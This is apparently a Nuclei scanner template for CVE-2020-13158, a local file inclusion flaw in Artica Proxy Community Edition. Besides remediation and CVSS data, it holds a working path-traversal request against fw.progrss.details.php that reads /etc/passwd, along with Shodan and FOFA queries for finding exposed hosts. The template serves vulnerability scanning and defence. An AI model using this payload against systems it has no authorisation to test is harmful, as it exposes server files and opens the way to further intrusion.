id: CVE-2020-13158

info:
  name: Artica Proxy Community Edition <4.30.000000 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Artica Proxy Community Edition before 4.30.000000 is vulnerable to local file inclusion via the fw.progrss.details.php popup parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server, potentially leading to further compromise of the system.
  remediation: |
    Upgrade to Artica Proxy Community Edition version 4.30.000000 or later to fix the Local File Inclusion vulnerability.
  reference:
    - https://github.com/InfoSec4Fun/CVE-2020-13158
    - https://sourceforge.net/projects/artica-squid/files/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13158
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://github.com/soosmile/POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-13158
    cwe-id: CWE-22
    epss-score: 0.92378
    epss-percentile: 0.99738
    cpe: cpe:2.3:a:articatech:artica_proxy:*:*:*:*:community:*:*:*
  metadata:
    max-request: 1
    vendor: articatech
    product: artica_proxy
    shodan-query: http.html:"artica"
    fofa-query: body="artica"
  tags: cve,cve2020,artica,lfi,articatech,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/fw.progrss.details.php?popup=..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a0046304402206068cfbcad37315ec2a00ad9eced09e5faa2c6875aa571a7b5d48fa30c179235022030548763af8f4916f2a6accee49a58de93dbda6ff618a3083f90af35b286027a:922c64590222798bb761d5b6d8e72950